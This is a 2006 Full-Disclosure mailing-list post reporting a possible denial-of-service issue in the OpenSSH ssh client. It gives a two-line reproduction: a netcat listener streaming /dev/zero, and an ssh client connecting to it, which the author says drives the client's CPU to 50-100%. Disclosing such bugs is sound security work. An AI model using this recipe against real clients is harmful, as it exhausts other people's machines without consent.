full-disclosure - Possible DOS issue in OpenSSH ssh client

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Message-ID: <000001c68ee8$a13a0990$6401a8c0@espen.mine.nu>
Date: Tue Jun 13 16:33:49 2006
From: espen at espen.mine.nu (Espen Grøndahl)
Subject: Possible DOS issue in OpenSSH ssh client

During some testing I found a possible bug/issue with OpenSSH ssh client.

 

 

MachineA # cat < /dev/zero | nc ?l ?p 3000

 

MachineB# ssh someone@...hineA ?p 3000

 

I have tested on OpenBSD 3.9, CentOS 4.3, Debian 3.1 and Solaris 9.

 

 

This consumes 50-100% of available CPU time on MachineB ( depending on the
bandwith between them ).

 

This could be used in a denial of service attack ? or could be used to stop
( or at least annoy ) ssh bruteforcers :-)

 

But of course it would also consume my upstream bandwith

.

 

 

Espen

 

http://espen.mine.nu <http://espen.mine.nu/> 

 

 

 

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